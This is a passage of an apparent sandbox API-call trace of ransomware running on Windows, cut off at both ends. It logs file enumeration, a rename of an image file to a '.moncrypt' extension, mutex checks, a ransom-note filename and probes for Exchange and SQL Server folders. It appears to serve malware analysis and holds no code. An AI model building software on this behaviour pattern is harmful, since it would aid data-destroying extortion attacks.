cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png", cchWideChar=68, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.pngn", lpUsedDefaultChar=0x0) returned 68 [0057.374] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Circle_ButtonGraphic.pngn", lpUsedDefaultChar=0x0) returned 4 [0057.374] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e240 [0057.374] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0057.374] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0057.374] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.374] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0057.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.375] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png.moncrypt")) returned 0 [0057.375] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.375] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.375] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.375] GlobalUnlock (hMem=0x440004) returned 0 [0057.375] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.375] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.375] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.376] GlobalUnlock (hMem=0x440004) returned 0 [0057.376] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.376] GlobalUnlock (hMem=0x44000c) returned 0 [0057.376] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x435dd5a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x435dd5a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0057.376] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0057.376] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.376] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.376] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.376] GlobalUnlock (hMem=0x44000c) returned 0 [0057.376] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.376] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.376] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.376] GlobalUnlock (hMem=0x44000c) returned 0 [0057.376] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.376] GlobalUnlock (hMem=0x440004) returned 0 [0057.376] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.376] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x435dd5a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x435dd5a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.376] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.376] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.376] GlobalLock (hMem=0x440004) returned 0x550170 [0057.376] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.376] GlobalUnlock (hMem=0x440004) returned 0 [0057.377] GlobalLock (hMem=0x440004) returned 0x550170 [0057.377] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.377] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.377] GlobalUnlock (hMem=0x440004) returned 0 [0057.377] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.377] GlobalUnlock (hMem=0x44000c) returned 0 [0057.377] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.377] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0057.377] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.377] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.377] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.377] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.377] GlobalUnlock (hMem=0x44000c) returned 0 [0057.377] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.377] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.377] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.377] GlobalUnlock (hMem=0x44000c) returned 0 [0057.377] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.377] GlobalUnlock (hMem=0x440004) returned 0 [0057.377] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.377] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.377] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.377] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.377] GlobalLock (hMem=0x440004) returned 0x550170 [0057.378] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.378] GlobalUnlock (hMem=0x440004) returned 0 [0057.378] GlobalLock (hMem=0x440004) returned 0x550170 [0057.378] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.378] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.378] GlobalUnlock (hMem=0x440004) returned 0 [0057.378] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.378] GlobalUnlock (hMem=0x44000c) returned 0 [0057.378] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.378] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0057.378] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.378] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.378] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.378] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.378] GlobalUnlock (hMem=0x44000c) returned 0 [0057.378] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.378] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.378] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.378] GlobalUnlock (hMem=0x44000c) returned 0 [0057.378] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.378] GlobalUnlock (hMem=0x440004) returned 0 [0057.378] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.378] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0057.378] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.378] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.378] GlobalLock (hMem=0x440004) returned 0x550170 [0057.378] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.378] GlobalUnlock (hMem=0x440004) returned 0 [0057.379] GlobalLock (hMem=0x440004) returned 0x550170 [0057.379] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.379] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.379] GlobalUnlock (hMem=0x440004) returned 0 [0057.379] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.379] GlobalUnlock (hMem=0x44000c) returned 0 [0057.379] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.379] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.379] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.379] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.379] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.379] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.379] GlobalUnlock (hMem=0x44000c) returned 0 [0057.379] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.379] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.379] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.379] GlobalUnlock (hMem=0x44000c) returned 0 [0057.379] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.379] GlobalUnlock (hMem=0x440004) returned 0 [0057.380] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.380] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0057.380] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.380] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.380] GlobalLock (hMem=0x440004) returned 0x550170 [0057.380] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.380] GlobalUnlock (hMem=0x440004) returned 0 [0057.380] GlobalLock (hMem=0x440004) returned 0x550170 [0057.380] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.380] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.380] GlobalUnlock (hMem=0x440004) returned 0 [0057.380] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.380] GlobalUnlock (hMem=0x44000c) returned 0 [0057.380] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.380] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0057.380] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.380] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.380] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.380] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.380] GlobalUnlock (hMem=0x44000c) returned 0 [0057.380] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.380] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.380] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.380] GlobalUnlock (hMem=0x44000c) returned 0 [0057.380] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.380] GlobalUnlock (hMem=0x440004) returned 0 [0057.381] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.381] GlobalLock (hMem=0x440004) returned 0x550170 [0057.381] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.381] GlobalUnlock (hMem=0x440004) returned 0 [0057.381] GlobalLock (hMem=0x440004) returned 0x550170 [0057.381] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.381] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.381] GlobalUnlock (hMem=0x440004) returned 0 [0057.381] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.381] GlobalUnlock (hMem=0x44000c) returned 0 [0057.381] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.381] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy", len=0x33 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy") returned 1 [0057.381] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.381] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.381] GlobalUnlock (hMem=0x44000c) returned 0 [0057.381] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.381] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.381] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.381] GlobalUnlock (hMem=0x44000c) returned 0 [0057.381] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.381] GlobalUnlock (hMem=0x440004) returned 0 [0057.382] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@妰U妄U企@\x18䃄Q\x18\x1b")) returned 0xffffffff [0057.385] GetLastError () returned 0x3 [0057.385] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.385] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.385] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0057.385] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@夜U企@\x18䀴Q\x181")) returned 0xffffffff [0057.387] GetLastError () returned 0x2 [0057.387] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.387] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.387] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0057.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@闼R企@\x18?T\x18;")) returned 0xffffffff [0057.389] GetLastError () returned 0x2 [0057.389] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 8 [0057.389] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@ꐬR企@\x18?T\x18D")) returned 0xffffffff [0057.391] GetLastError () returned 0x2 [0057.391] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0057.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, 